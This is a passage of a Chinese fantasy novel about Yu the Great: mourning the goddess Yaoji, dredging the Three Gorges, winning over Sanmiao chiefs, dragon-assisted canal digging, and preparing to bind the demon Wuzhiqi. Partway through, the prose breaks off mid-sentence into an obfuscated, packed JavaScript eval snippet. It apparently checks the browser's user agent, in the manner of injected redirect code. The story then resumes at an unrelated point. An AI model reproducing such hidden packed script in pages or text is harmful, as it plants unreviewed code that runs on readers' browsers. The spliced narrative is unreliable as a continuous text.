同样的诀别,同样的牺牲,同样的……将生命最后的形态,献祭给了永恒的守护。 女娇的惊惧与不舍,瑶姬的虚弱与坦然……两张截然不同却同样震撼他灵魂的面孔,在他脑海中疯狂交替、重叠、放大!一直被他用治水重任强行冰封、深埋于心底的,对女娇的刻骨思念、无尽愧疚,对命运无常的愤怒,对自身无力保护所爱的痛恨……所有压抑的情感,在这一刻,如同被瑶姬牺牲的力量凿开了最后的堤坝,轰然决堤!汹涌的悲恸瞬间将他吞没! 他猛地转过身,背对着所有跪拜的人群,背对着那新生的神女峰,宽阔的肩膀无法抑制地剧烈颤抖起来,如同负伤的孤狼。滚烫的泪水,第一次在这位面对滔天洪水、巍峨山岳都未曾退缩的司空脸上,失去了所有控制,肆意奔流。他紧握着双拳,指甲深深掐入掌心的皮肉之中,渗出血丝,却感觉不到丝毫疼痛。 原来,即便是能疏导天下洪水的神耜,也疏导不了这内心汹涌的、名为失去的洪流;即便是能劈开万丈山岩的开山斧,也劈不开这命运无情、一次次夺走他所爱所敬的枷锁! 皋陶无声地挥手,示意所有人保持安静,他带领着伯益、砺、羲青、五小龙,以及所有的民夫,默默地、恭敬地退开一大段距离,将这片浸透了悲伤的江岸,完全留给了他们敬爱的领袖。他们理解,这座一直为他们遮风挡雨、指引方向的巍峨山岳,此刻也需要独自面对内心的雪崩。 良久,江风吹干了脸上的泪痕,只留下紧绷的皮肤和微红的眼眶。禹缓缓地、极其缓慢地转过身。他深吸了一口带着江水腥气和残留兰芷清香的空气,再次抬起眼帘时,脸上的悲恸已被一种更深沉、更坚硬的东西所取代。那是一种历经彻骨之痛后淬炼出的苍凉,一种将个人无尽悲伤化为坚定前行动力的决绝。眼底深处,那簇治水的火焰未曾熄灭,反而因为泪水的洗涤,燃烧得更加纯粹、更加炽烈。 他走向默默等待他的同伴们,声音因之前的宣泄而沙哑,却带着一种不容置疑的平静与力量:“瑶姬仙子,以神躯性命相助,为我等开辟生路。此恩此德,重于巫山!我等唯有竭尽全力,彻底疏通此峡,方不负仙子牺牲之万一!” 他目光扫过每一张悲愤而坚定的面孔:“继续疏浚!直至巫峡,彻底畅通!” “是!”回应他的,是山呼海啸般的怒吼,带着化悲痛为力量的决绝,再次投入未竟的功业。 在瑶姬牺牲精神的感召下,在《真形图》的精确指引下,巫峡剩余的工程以前所未有的速度推进。五小龙不再仅仅是工具,他们仿佛继承了瑶姬的部分意志,疏导水流时更加注重与山川的和谐。砺和民夫们更是拼尽全力,每一凿都带着对神女的告慰。错综复杂的水道被一一理清,潜流被巧妙导引,险滩被彻底铲平。当最后一处名为“登龙”的梗阻被五小龙合力引来的滔滔江水彻底冲开,巫峡之水终于褪去了暴戾,变得温顺而浩荡,沿着新辟的、稳固的河床,奔腾东去,仿佛在吟唱着一曲告慰神女的安魂曲。 疏通巫峡之后,平水土之师继续前行,抵达三峡最后一段——西陵峡。此处虽以滩多水急著称,险滩如新滩、崆岭滩等依旧令人望而生畏,但因下游荆楚平原的水道已初步得到疏导,来自上游的顶托压力大减,治理的重点便集中于清除航道中的礁石,拓宽狭窄处。 工程虽依旧艰苦,但相较于夔门之坚、巫峡之险,已显得有条不紊。砺指挥若定,民夫们经验日益丰富,与沿岸楚人部落合作也愈发默契。楚人提供了更适合在急流中作业的舟船和当地特产的坚韧藤索,大大提升了清礁效率。 然而,西陵峡两岸岩层因长期冲刷,多有裂隙渗漏,虽不影响大局,但禹心知,若遇特大洪水,这些裂隙可能成为溃堤的隐患。他想起了天帝所赐的息壤。 这一夜,他再次登高,取出那仅剩不多的、散发着柔和生命气息的神土。他咬破指尖,将几滴血液滴入息壤之中,息壤顿时光芒微涨。禹将其小心翼翼地撒向峡江两岸那些关键的裂隙处。只见息壤遇土即融,遇石即合,迅速蔓延,无声无息地填补了那些深深的沟壑,加固了松动的岸基,使整个峡谷河道变得更加坚固、完整。 望着在月光下泛着淡淡微光、仿佛被镀上一层无形屏障的峡江两岸,禹知道,三峡的根基,至此才算真正稳固。只是,那代价,太沉重了。女娇、瑶姬……还有无数默默无闻的牺牲者,他们的身影,将永远铭刻在这奔流不息的江水之中,也铭刻在禹的心底最深处。 18. 第18章:云梦缚蛟 三峡既通,长江之水如同挣脱最后一道枷锁的巨龙,奔涌东去,声震寰宇。然而,站在这自然伟力造就的奇迹面前,禹的心中却无半分松懈。他深知,天险虽破,人祸未消。下游那广袤的、地势低洼的云梦大泽周边,尤其是三苗诸部世代居住的荆楚之地,才是洪魔真正肆虐的舞台。 平水土之师沿江而下,出西陵,过荆门,眼前的景象逐渐从崇山峻岭变为水泽茫茫。初春的雨水已然连绵,江面日渐开阔,水色浑浊,预示着上游雪融与雨季的叠加。空气中弥漫着湿润的泥土气息和隐约的腐烂植茎味道,那是大水过后常见的景象,只是此刻,这景象正随着他们的东进而愈发触目惊心。 “司空,前方已是沮、漳二水汇入大江之处。”伯益指着舆图,眉头微蹙,“据沿岸楚人及三苗部落所言,每逢夏秋,上游洪峰与二水并涨,此地首当其冲,江面陡宽,漫溢四野,直至云梦泽边缘方缓,然泽区亦不堪重负,往往倒灌支流,形成千里泽国。” 禹凝望着那一片看似平坦、实则危机四伏的原野。这里没有夔门的险峻,没有巫峡的幽深,却有一种无声的、弥漫性的威胁。“江流至此,失其束狭,如狂龙脱缰。云梦大泽,乃天地所赐之天然巨碗,若能善加引导,分洪蓄水,则江汉可安。”他沉声道,“然欲引水入泽,必先理顺沮、漳二水,使其南倾,不可再与长江洪峰顶撞。” 这意味着,要改变两条河流自古以来的流向,触动沿岸,尤其是三苗部落的根本利益。 营寨设在了一处名为“景山”的高地。与三峡时的险峻不同,此地视野开阔,可远眺云梦泽的浩渺烟波。然而,营地内的气氛却比在悬崖峭壁上时更为凝重。 核心僚属再次齐聚。这一次,连负责后勤的弃也列席其中,因为所有人都明白,接下来的工程,不仅仅是开山凿石,更是一场关乎人心、部落、乃至生存方式的复杂博弈。 “沮水、漳水,乃三苗渔盐生计所系,更是其部族圣河。”皋陶首先开口,语气严肃,“改道南引,无异于断其血脉。即便我等有玄圭之威,治水之名,若无其心甘情愿之配合,强行征发民夫,恐生大变,前功尽弃。” 伯益补充道:“且沮漳河道迂曲,两岸土质松软,若疏导不当,非但不能分洪,反而可能引发新的溃决,淹没更多田舍。” 砺勘察归来,抓着一把湿软的泥土:“此地非山岩,寻常开凿之法效用不大,需大量人力疏浚、筑堤、引导。工程浩大,非一蹴可就。” 羲青的墨玉星盘在此地光华柔和了许多,却隐隐指向云梦泽深处:“泽中水灵……似乎有些异常,并非全然死寂,亦非纯粹自然之象,有股……躁动隐匿其中。” 禹静听良久,方道:“诸君所虑,皆在情理。云梦之治,首在‘导’与‘利’。我等需使三苗明白,改道非断其生路,乃是易渔盐为稻粱,变水患为水利。伯益,你与我同往三苗诸部,陈说利害。砺,你带人详细测量沮漳故道与新辟引渠路线,计算土方,规划堤坝。羲青,密切关注泽中水灵异动。皋陶,律令需更彰仁德,凡助役苗民,与夏人同酬,伤损倍恤。” 这一次的盟会,地点选在了沮水畔一片开阔的河滩。与夔门前的紧张不同,此次前来的三苗首领,多是曾在汉水之役中与禹并肩作战或最终被其折服的旧识。黎火部的黎魁、丹阳部的阳华、云梦部的梦羽,甚至包括昔日最为桀骜的黑石部石厉,皆已到场。然而,他们的脸上没有了当初在汉水时的激动与期盼,取而代之的是深深的忧虑与审视。 “司空,”黎魁率先开口,声音洪亮却带着一丝不易察觉的沙哑,“汉水之恩,我三苗铭记。然沮、漳二水,非汉水可比。此乃我族圣河,渔猎所得,盐泽所出,皆赖于此。若改道南引,注入云梦,水势减缓,鱼群不至,盐卤难聚,我万千族人,以何为生?”他的话,道出了所有首领的心声。 阳华亦急切道:“司空,丹阳饱受汉水、长江交汇之苦,日夜期盼安宁。然若失了沮漳渔盐之利,即便免于水患,部族生机又何在?” 梦羽老妪目光深邃,缓缓道:“老身居于云梦之畔,深知大泽脾性。沮漳之水,携山间灵气与泥沙而来,滋养泽中万物。若骤然改道,水量大增,泽中生灵能否承受?是否会引动泽底沉眠之物?”她的话,隐隐与羲青的感应相合。 石厉虽未言语,但那紧抿的嘴唇和审视的目光,表明他绝难轻易同意。 面对这些关乎生存根本的质疑,禹并未急于展示玄圭权威,也未空泛承诺。他命人抬上几只陶瓮,里面盛放着不同色泽的泥土。 “诸位首领请看,”禹抓起一把来自沮漳河畔的、略显贫瘠的沙质土,又抓起一把从云梦泽边缘取来的、因常年淤积而异常肥沃的黑色淤泥,“沮漳之水,并非一去不返。它携泥沙入泽,沉积于沿岸。诸位可知,此等淤土,最宜何种作物生长?” 伯益适时上前,展开一幅他精心绘制的、描绘着稻谷丰收景象的陶片画:“此乃‘稻’,生于水泽,其粒可食,远胜渔猎之不定。若沮漳改道,其所携肥沃淤泥,三年之内,必可在云梦泽周边淤出万顷良田!届时,春种秋收,其利之恒,远胜风浪中求渔盐之险!且泽水充盈,鱼虾繁衍更盛,并非绝了渔猎,而是使其更为可控、丰饶!” 禹接过话头,声音沉静而充满力量:“诸君,禹非夺尔等生计,乃是易尔等一条更为安稳、富足之路!水患平息,良田万顷,稻花飘香,仓廪充实——此非独为我华夏之利,更是三苗子孙万代永续之基!禹愿立誓,凡改道所经之地,所淤之田,尽归沿岸三苗各部所有,我平水土之师,只开水道,不取寸土!” 他抓起一把那肥沃的淤泥:“以此土为证,若三年之后,此间不能生出养育万千族人的稻粱,禹,愿受天谴,自绝于云梦之畔!” 这番结合了实际利益与长远愿景的承诺,远比任何神迹或武力更具说服力。黎魁看着那黝黑的淤泥,眼中闪过一丝光亮。阳华呼吸急促,仿佛看到了丹阳部不再受洪水威胁、仓满廪实的未来。梦羽缓缓点头,她通晓自然,知道禹所言非虚。连石厉也忍不住上前,抓起一把淤泥仔细捻动。 沉默良久,黎魁重重一拍大腿:“好!司空,我信你!黎火部愿出全力,助你改道!” “丹阳部亦无异议!”阳华紧随其后。 梦羽微微欠身:“云梦部愿提供所有泽中行舟与熟悉水性的子弟。” 石厉最终也闷声道:“黑石部……可出石料与壮丁。” 人心初定,庞大的改道工程随即展开。景山之下,沮水之畔,旌旗招展,人声鼎沸。在皋陶公正无私的“工正之律”协调下,数以万计的三苗民夫与平水土之师混编成列,沿着伯益和砺精心勘定的新河道路线集结待命。空气中弥漫着泥土的腥气与一种蓄势待发的躁动,号子声尚未响起,但那压抑着的、对未来的期盼,已如实质般笼罩四野。 营帐内,核心僚属正在做最后的部署。 砺眉头微锁:“沮、漳二水河道迂曲,若要顺利改道南倾,需开凿一条五十里新渠,引水入云梦。其中三十里为寻常土方,民夫奋力,月内可成。然另有二十里,或遇坚硬岩层,或需穿越低洼沼泽,地形复杂,若纯靠人力镐凿肩挑,恐耗时三年,亦难保周全。” 他话音落下,帐内略显沉寂。三年,对于亟待分洪的云梦泽和下游万千生灵而言,太过漫长。 这时,五小龙相视一眼,默契于心。金麟踏步上前,龙行虎步间已见领袖风范,他沉稳开口:“司空,砺工正所言之难处,我等愿为前驱。龙尾开道,辟土裂石,正是我族天赋。那二十里艰险地段,可交由我等先行廓清骨架。” 苍鬃接口道:“不错!任它什么顽石沼泽,一尾扫过,管教它河道初成!” 赤须跃跃欲试:“让我去对付那片沼泽!保证把它搅得服服帖帖,清出坚实河床!” 禹目光扫过五位日益成熟的龙族伙伴,眼中既有赞许,亦有深思。他缓缓摇头,声音清晰而坚定:“诸位龙子神力,禹深知之。然治水之功,非独倚仗神迹,更在于汇聚万民之力,同心共济。若凡事皆由尔等代劳,则民夫无从习得治水之法,各部亦难真正融入此千秋功业。此举,非长治久安之道。” 他停顿片刻,继续道:“我的意思是,龙族之力,当用于开辟最难啃的骨头,为人族扫清最大障碍;而人族之力,则紧随其后,精雕细琢,巩固成果。譬如攻坚,尔等为先锋,破其坚城;我等为主力,肃清残敌,安营扎寨。如此,方为上下同心,神人协力。” 他看向金麟,语气恳切:“金麟,你等龙尾过处,只需开辟出河道雏形,不必追求尽善尽美。后续的清理浮土、加固岸基、修建护坡,乃至全线贯通后的维护,皆需依靠这数万民夫之手。他们的汗水浸润过的土地,才会被真正视为家园,倍加珍惜。” 金麟闻言郑重点头:“司空深谋远虑,金麟明白了。我等当为开路先锋,而非包办一切的神工。为人族之力开辟用武之地,方是正道。” 墨琛道:“而且,我们需控制力道,避免过度破坏周边地脉。” 云踪笑道:“我便负责巡视联络,确保龙尾开道与人力跟进之间,衔接无隙。” 方案既定,翌日黎明,沮水畔已是人山人海。三苗族众与平水土之师混合编队,手持耒耜、藤筐,翘首以盼。 忽见天际云气翻涌,五道华光降临,显化出五条神骏非凡的真龙!龙威浩荡,却并无压迫之感,反而带着一种引导与庇护的意味。 “开始了!”不知是谁喊了一声。 但见金麟率先而动,巨大的龙尾闪烁着金光,如同天神挥动的巨犁,对准一段裸露的岩层区域,沉稳而精准地一划!“轰隆——”沉闷的巨响中,坚硬的岩石应声裂开一道巨大的沟壑,碎石滚滚,主通道豁然开朗! “龙神佑我!”岸上的三苗族众发出震天的欢呼,“如此神力,如此神迹!” 紧接着,苍鬃对准一片乱石滩,龙尾横扫,如同摧枯拉朽,将阻塞河道的巨大顽石尽数扫清,开辟出宽阔的通道。云踪身形如电,在需要裁弯取直的地段穿梭,龙尾轻点巧引,原本迂回的路线瞬间变得顺畅。墨琛则处理一片松软的沼泽地,她的龙尾每一次摆动都恰到好处地疏浚淤泥,抬升地基,形成稳固的河床雏形,却小心地避开了周边的生态。赤须最为欢脱,在需要拓宽的河段上下翻飞,龙尾过处,河道以肉眼可见的速度向两侧扩展。 五龙并非一味猛冲猛打,他们时而停下,回头望向人群。金麟甚至会以龙吟示意,指引方向。 禹看准时机,挥动令旗:“工正所属,率各部民夫,跟进清理!” 砺一马当先,吼道:“第一队、第二队,清理金麟龙君开辟的岩段碎石!第三队,巩固墨琛龙君疏浚的沼泽河床!” “得令!”震天的回应响起。 数以万计的民夫如同潮水般涌上前去。他们用青铜镐、石铲撬动龙尾裂开的巨石,用藤筐运走松动的土方,用石夯夯实新辟的河床,用准备好的木桩、石块加固险要的堤岸。号子声此起彼伏,与龙吟相和,汗水挥洒在新生的泥土上。 一位三苗老者一边奋力铲土,一边对身边的年轻族人说:“看啊!龙神为我们劈开了山,扫清了路,剩下的,要靠我们自己的双手了!这是我们自己的河道!” 那年轻人用力点头,干得更加卖力。 龙族之力与人族之力,在这一刻形成了完美的接力与互补。龙尾开辟出宏大的框架,人力则填充血肉,赋予其精细与稳固。不过短短七日,一条纵贯五十里、初具规模、骨架坚实的新渠便已赫然呈现在云梦泽畔!它不仅是疏导洪水的通道,更是龙族与三苗、夏人协力同心、共创未来的见证。 三苗黎火部的首领黎魁和黑石部首领石厉,本来是站在一旁观望,如今望着这条奇迹般出现的新渠,目瞪口呆。石厉对着身旁的禹深深一拜:“司空,今日方知,何为真正的‘神人共力’!我三苗,心服口服!” 工程推进顺利,新的引渠初具雏形。然而,就在第一条引渠即将贯通云梦泽的前夜,异变突生! 负责夜间巡视的云踪(云踪龙)急匆匆赶回营地汇报:“司空,泽中水灵躁动异常!我感知到一股极其暴戾、混乱的气息正在泽底苏醒,绝非寻常水怪!” 几乎同时,几名在泽边作业的三苗民夫惊慌失措地跑回,带来更可怕的消息:泽中突然出现巨大的漩涡,吞噬了数条小舟,隐约可见有青黑色的、形如巨蟒却又生有独角的恐怖身影在浑浊的水下翻腾! 禹立刻召集众人。 羲青手持星盘,面色凝重:“星盘示警,此物气息……与当年淮水无支祁同源!皆是受共工残魂侵蚀所致!然其形其性,又有不同,更为阴险狡诈,善于潜伏隐匿,借泽中复杂水文与漫天水汽掩盖自身。” 伯益沉声道:“据传,云梦大泽深处,自古盘踞一恶蛟,名为‘巫支祁’。其与淮水无支祁乃同族兄弟,皆出自花果山灵明之族。然无支祁占淮水,巫支祁则潜于云梦,其势更广,自桐柏山以南,直至湘江,水族精怪多听其号令。其性贪婪,扩张无度,最忌旁人动其水域。” 金麟(金麟龙)龙目含威:“又是共工遗毒!看来不肃清这些盘踞水脉的毒瘤,天下难安。” 经历过瑶姬逝去的洗礼,五小龙对“守护”与“责任”的理解更为深刻,对这等为祸苍生的恶灵,绝无姑息。 墨琛(黑衣少女形态)冷静分析:“巫支祁既与无支祁同族,或亦有其弱点。无支祁败于对其本心的唤醒与‘导水镇灵锁’。然巫支祁潜伏更深,性情更为阴沉,恐不易以情动之。需设法将其引出深水,限制其借助泽区广阔水域周旋的优势。” 苍鬃(苍鬃龙)摩拳擦掌:“只要能把它逼出来,正面抗衡,我等无惧!” 禹沉思片刻,决断道:“巫支祁盘踞云梦,乃疏导大泽、使其成为分洪枢纽之最大阻碍,必须铲除!然其狡诈,不可力敌。我等需双管齐下:一则,继续加快引渠贯通,以治水大势压迫其生存空间,逼其现身;二则,设法破其与泽中水族的联系,寻其弱点。” 墨琛道:“司空,让我与金麟先去探察。如今的我们,已非昔日稚龙。” 禹道:“如此也好。” 墨琛与金麟保持人形,二人悄然潜入云梦泽。 三日后的黄昏,墨琛与金麟化作人形归来,带着一身水汽与凝重。营帐内灯火通明,所有核心成员屏息以待。 “巫支祁,状如巨猿,白首金爪,雪牙狰狞,确与无支祁同出一脉。”金麟的声音低沉,带着一丝疲惫,“然其盘踞云梦千年,深谙泽国水性,能借万里波涛之势,比其兄更为难缠。” 墨琛摊开一张以法力临时凝结的水纹图,指尖点向泽心深处:“关键在于此。”图上清晰显示,巫支祁那覆盖着白毛的宽阔额间,每当其催动妖力时,便会浮现一个扭曲、不断变幻的暗红色符文,如同活物般搏动。“此乃共工残魂与之缔结的‘邪契’,非单纯操控,更像是一种力量的‘嫁接’与‘共生’。巫支祁凭借此契,可调动共工残留于此方天地的暴戾水元,而其自身的凶性与这片水域的怨气,又反过来滋养着残魂。” 羲青凝视着那诡异的符文印记,蹙眉道:“如此说来,他们是一损俱损,一荣俱荣?” “正是。”金麟颔首,“巫支祁并非傀儡。他贪婪、霸道,视云梦为私产,共工残魂放大了他本性中的恶,并给了他践踏规则的力量。他享受这种掌控一切、令万物畏惧的感觉。” 皋陶沉吟道:“既是共生之契,强行剥离,恐两败俱伤,甚至可能引发残魂最后的反噬,祸及整个云梦。” 砺摩挲着手中的石斧,目光锐利:“那就连根拔起!瞄准那符文,打碎它!” 一直沉默的巫盼,手指无意识地摩挲着怀中的玉璧。这玉璧与禹的颛顼玄圭同出不周山底玄玉,虽无玄圭号令神人之能,却因其长期伴随巫祝,对天地间各种能量契约、精神烙印有着超乎寻常的感应。 “难。”巫盼终于开口,声音带着古老血脉特有的低沉共鸣。他闭上双眼,玉璧贴近眉心,一缕极淡的金芒自他额间浮现——那是颛顼血脉苏醒的征兆。 接下来的三天,巫盼几乎不眠不休。他并未留在喧嚣的营地中央的祭坛,而是将布阵之地选在了自己与妻子辛夷所居的那顶稍显偏僻的营帐内。帐内,他以朱砂绘制了巨大的阵图,几乎覆盖了整个地面,那枚至关重要的玉璧便安放于阵眼之处。此处虽不似祭坛庄严,却多了几分不容打扰的私密与宁静,辛夷会默默为他备好清水与饭食,虽忧心他几乎不眠不休的耗神,却深知事关重大,只是在他偶尔从沉浸中短暂回神时,为他拭去额角的虚汗。 刹那间,他仿佛回到了先祖绝天地通前的岁月。作为颛顼后裔,他血脉中沉睡着先祖梳理天地秩序的印记。此刻这印记正通过玉璧放大,让他得以用近乎“神”的视角俯瞰那道缠绕在巫支祁真灵上的邪契。 他不时划破指尖,以颛顼血脉特有的精血点染玉璧。每一滴饱含传承之力的血珠落下,玉璧便光华流转,映照出邪契更深层的脉络——那不再是简单的能量轨迹,而是呈现出一片汹涌的、属于巫支祁的识海汪洋。 在这片汪洋中,邪契的本质在他眼前无所遁形,化作三条相互纠缠、互为滋养的暗流:最表层是浑浊的“迷惘”,如浓雾般扭曲着水怪对自身存在与职责的认知;中层是炽烈的“贪婪”,如同永不知足的漩涡,吞噬着一切触及的水元与生灵欲念;最深处,则是凝固如万年玄冰的“怨怼”,沉淀着被镇压、被误解的千年积郁与憎恨。 “原来如此!”第三日黄昏,巫盼猛地睁开双眼,眸中金芒未褪,他因精神与血脉之力的过度消耗而脸色苍白,声音虽虚弱却带着压抑不住的振奋。他立刻起身,脚步略显虚浮却异常坚定地走向禹的居所。 禹的住处不过是一间稍大些、兼具议事功能的草棚,简陋却肃穆。此刻,禹正与伯益等人商讨着疏导某条支流的方案。见巫盼闯入,众人皆是一怔,只见他气息未匀便急切开口:“司空,找到了!那邪契并非全然外力强加,而是精准地放大并扭曲了巫支祁本心的裂隙!其维系依赖三个核心‘念根’:一为表层‘迷惘’,扭曲其认知;二为中层‘贪婪’,膨胀其恶欲;三为最深沉的‘怨怼’,固化其仇恨。若能同时斩断此三根,邪契自解!” 帐内一时寂静,禹的目光锐利起来,伯益则面露深思。 巫盼深吸一口气,继续陈述早已想好的破解之法:“故而,昔日‘导水镇灵锁’已不足用,需铸造一条全新的‘破妄锁妖链’!需三样至宝:首阳山之铜,其性刚正不阿,可为锁链之骨,承载破邪神力;雷泽之木,蕴天地雷霆正气,可为锁链之脉,专克阴邪契约;还需……”他目光转向闻讯赶来、正在帐外好奇张望的五小龙,“还需五龙之本命龙息。龙乃至阳至正之神兽,尔等之息蕴含造化生机与天地秩序之力,可为锁链之魂,涤荡污秽,唤醒其被蒙蔽的本真,正是那三重邪念的克星!” 五小龙闻言,龙睛闪烁,既有被委以重任的昂然,也有一丝对那邪契的忌惮。 禹沉吟片刻,大手一挥,眼中是决断的光芒:“好!便依你所言!集天下之力,铸此神链!” 砺正待领命而去,帐内却响起一个清越的声音:“工正且慢!” 只见五龙中最为沉稳的青龙玄芒越众而出,龙首微昂,“首阳山、雷泽等地路途遥远,凡人纵有快马,翻山渡水亦需旬月。我等兄弟愿分头行事,以御风之术取回诸宝,不消一日便可回转。” 经过多年治水磨砺,这五条由黄河鲤鱼跃过龙门所化的真龙,早已非当年那群仅凭本能行事的新生小龙。他们不仅能自如化为人形,更在追随大禹跋山涉水、见证人间百态的过程中,积淀了深厚的思考与独当一面的能力。 禹看着眼前这五位已然脱胎换骨的伙伴,眼中流露出信任与赞许。金鳞化形的青年,面容俊朗,眉宇间自有威严,周身隐隐流淌着淡淡的金色光晕;苍鬃则身形魁伟,筋肉虬结,深青色的发须如狮鬃般浓密,仅仅是站在那里,便给人以山岳般的沉稳力量感;云踪一身素白长衫,身形颀长,眼神灵动,仿佛随时会化作一缕清风;墨琛则是一袭玄衣,神色沉静,眸光幽深,仿佛能洞彻水底最深处的隐秘;赤须依旧是火红的发色与标志性的赤红长须,眉眼间跳动着蓬勃的朝气。 “首阳山、雷泽、北极寒渊、南海、羽山,此五地相距甚远,非人力可速达。”金鳞继续道,思路清晰,“我等可分头行事,凭借御风之术,一日之内,必携诸宝而归。” 禹颔首,沉声道:“善!那便有劳诸位了。” 金鳞化作金光穿透云层,罡风拂过他日益坚毅的龙颜。俯瞰下方历经水患却顽强再生的人间烟火,他心中那份自跃过龙门便萌生的责任感愈发沉重。作为应龙亲点、群龙默认的领袖,他始终以大哥自居,协调诸弟,辅佐禹王。他深知秩序的可贵——不仅是水流之序,更是天地万物各行其道、共生共荣之序。首阳赤铜那刚正不阿的气息,正与他心中所念共鸣。 然而,一丝隐忧悄然浮现:治水功成之日,便是他们这五条因治水而汇聚的龙使命终结之时吗?届时,龙族该归于何处?是回到黄河深处,还是另觅天地?他隐隐觉得,龙族的未来不应止于听命行事,更应主动去定义自身在天地间的角色。他盘旋于首阳山上空,龙爪轻探,精准地取出那蕴藏至阳刚气的赤铜矿心,仿佛也握住了引领龙族前路的决心。“此铜为骨,不仅要锁拿妖邪,更要撑起我龙族未来的脊梁。” 苍鬃的目标是雷泽。他化为龙身,深青色的龙鬃在狂风中飞扬,庞大的龙躯蕴含着爆炸性的力量。他曾是推动最沉重巨石的能手,如今对“力量”有了更深的理解。他见过太多空有蛮力、最终走向毁灭的同族,也见过人族以孱弱之躯,凭借智慧与协作完成看似不可能的工程。他想要的未来,或许不是无止境的征服,而是找到一方需要他这份力量去守护的水土,成为那里的基石。他冲入雷泽翻涌的雷云之中,任凭狂暴的电蛇劈在坚逾精钢的龙鳞上,溅起漫天火星。他龙睛锁定一株历万雷而不毁、焦黑中透着磅礴生机的雷击神木,发出一声震撼四野的龙吟,利爪深深嵌入树干:“此木,当为锁链之脉,导引雷霆正气,诛邪破妄!” 云踪的任务是前往极北寒渊,采集至寒玄冰。他素白的龙影在云层中穿梭,速度快得只在空中留下一道转瞬即逝的白线。速度是他与生俱来的天赋,也是他感知世界的方式。他享受在广阔天地间极速飞驰的自由,巡游水道、传递信息只是这种自由的附属。他辅助禹治水责无旁贷,但内心深处,早已厌倦了人群的喧嚣与纷繁的指令。他向往的是治水之后,能无拘无束地深入那些人迹罕至的深山大泽,成为一缕真正的“云踪”,在寂静中聆听天地呼吸,在独处中探寻速度的终极意义。他在万丈冰渊之下,找到了那团幽蓝剔透、散发着极致寒意的玄冰之魄,动作轻柔而精准,唯恐一丝鲁莽破坏了这天地灵物的纯粹。“以此冰淬火,锁链可得刚柔。他日,我亦将以此身,追寻极致的自由与宁静。” 墨琛潜入了南海深处。玄黑色的龙躯与幽暗的海水几乎融为一体,唯有那双龙睛,如暗夜中的星辰,锐利地扫视着周遭。她素来沉静敏思,善于观察,无论是水底暗流还是人心微澜。在一片绚丽却危险的珊瑚丛林深处,她找到了那只孕育着定魂珠的万年砗磲。然而,她的思绪却飘回了云梦泽畔——她喜欢靠近人族营地,并非仅仅出于好奇,更是被那种复杂、鲜活的情感联结所吸引。羲青与砺之间无声的默契,让她不由自主地想起金鳞——那条金光璀璨、肩负重任的龙。每一次靠近他,她沉稳的心湖都会泛起涟漪。她对未来没有宏大的构想,若能与他相伴,无论是在波涛汹涌的黄河,还是在烟火缭绕的人间,抑或是寻一处清静水府,于她而言便是圆满。她小心翼翼地取走定魂珠,未扰砗磲清梦,“此珠定魂,亦愿能安定我心之所向。” 赤须飞往羽山之渊,寻找沉埋的息壤之尘。他赤红的龙影在天空中格外醒目,龙须如火焰般飘动。他活泼好动,最喜人间烟火气。与治水民夫们一同劳作、听他们讲述平凡而温暖的故事,让他感到踏实。他尤其喜欢和那个叫百草的女孩玩耍,她身上有青草的清新和阳光的暖意。可近来,百草似乎更常与那只敏捷的飞猿在一起,这让他心中莫名空了一块。他隐约觉得,自己渴望的,或许就是这样具体而微小的联结与温暖,是被需要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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。其形如一圈圈向内收敛、最终归于一个稳定圆点的波纹,代表着在驱散迷惘与怨怼后,将心神锚定于宁静与本初。刻画此符,需要极度精准的精神控制力,将五龙之息中那蓬勃的生机与秩序之意,完美融入符文结构,多一分则躁,少一分则衰。 当最后一道“定神”符文终于完成,锁链骤然发出一声清越悠扬、似龙吟又似凤鸣的震响!通体绽放出青金色的光华,那光芒并不刺眼,却带着一种洞穿人心、抚平躁动的奇异力量。锁链在空中轻轻扭动,仿佛拥有了生命,对周遭的能量波动产生了微妙的感应。 “此即‘破妄锁妖链’。”巫盼几乎虚脱,被辛夷扶住,他将锁链郑重交给禹,“它能感应邪契波动,锁定其三根,依次破之。然能否成功,还需看司空与巫支祁的对决,能否撼动其心。” 新渠贯通之日,大雾锁泽。巫支祁如期而至,百丈巨浪托着他山岳般的身躯,白首金爪,雪牙森然,金色的瞳孔中燃烧着毫不掩饰的怒火与占有欲。 “禹!”声浪滚滚,震得雾气翻腾,“你囚我兄弟,今又扰我云梦!真当我灵明一族可任你欺凌?” 禹踏浪而行,衣袂在风中猎猎作响,声音沉稳:“巫支祁,非我扰你,乃你之存在,已危及万千生灵生存。云梦泽吞吐江河,关系下游无数部族存亡,岂能由你一念之间,决其祸福?” “生存?”巫支祁嗤笑,巨爪挥动,搅起更大的浪涛,“这云梦泽,自我诞生灵智起,便是这般模样!兴风作浪是我的本性,吞吐云雾是我的呼吸!那时何曾有人族?如今你们来了,筑起堤坝,开垦田地,将原本属于山林水泽的土地据为己有,反倒指责我依照本性生活是为祸?” 他金色的瞳孔中闪过一丝属于古老生灵的倨傲与不解:“你们人族要生存,便要这天地都按你们的规矩来吗?我在此戏水弄潮时,你们的祖先尚在茹毛饮血!凭什么后来者要定先到者的罪?这天地,难道只为你人族而存?” 共工残魂在其识海中尖啸助阵:“没错!弱肉强食,乃亘古法则!他们畏惧你的力量,便要用‘秩序’束缚你!摧毁他们!” 禹沉默了片刻。巫支祁的话,并非全无道理。人族的扩张,确实在不断挤压其他生灵的生存空间。 禹身后的五小龙,此刻也陷入了沉思。苍鬃低语:“他说的……似乎也有点道理。我们龙族行云布雨,有时也会淹没洼地,难道也是罪过?” 云踪道:“为何人族建村寨便是文明,巫支祁踞大泽便是祸害?” 墨琛与金麟对视,眼中都看到了同样的困惑:难道守护人族,就意味着要否定其他一切非人存在的生存方式吗? 禹抬起头,目光清澈而坚定,他的回应并非站在绝对道德的制高点,而是基于一个冰冷而现实的考量:“巫支祁,你说得对,天地并非独为人族而设。万物竞生,各有其道。然,你忽略了一点——‘尺度’与‘后果’。” 他沉思了一会儿,才继续道:“你一次兴风作浪,于你或许是本性抒发,是游戏,但带来的洪水,会淹没千里沃野,摧毁数十部落积累数代的家园,夺走成千上万条性命。这其中,不仅有我人族,亦有依附泽畔生存的无数鸟兽虫鱼,它们同样因你的‘本性’而丧命。” 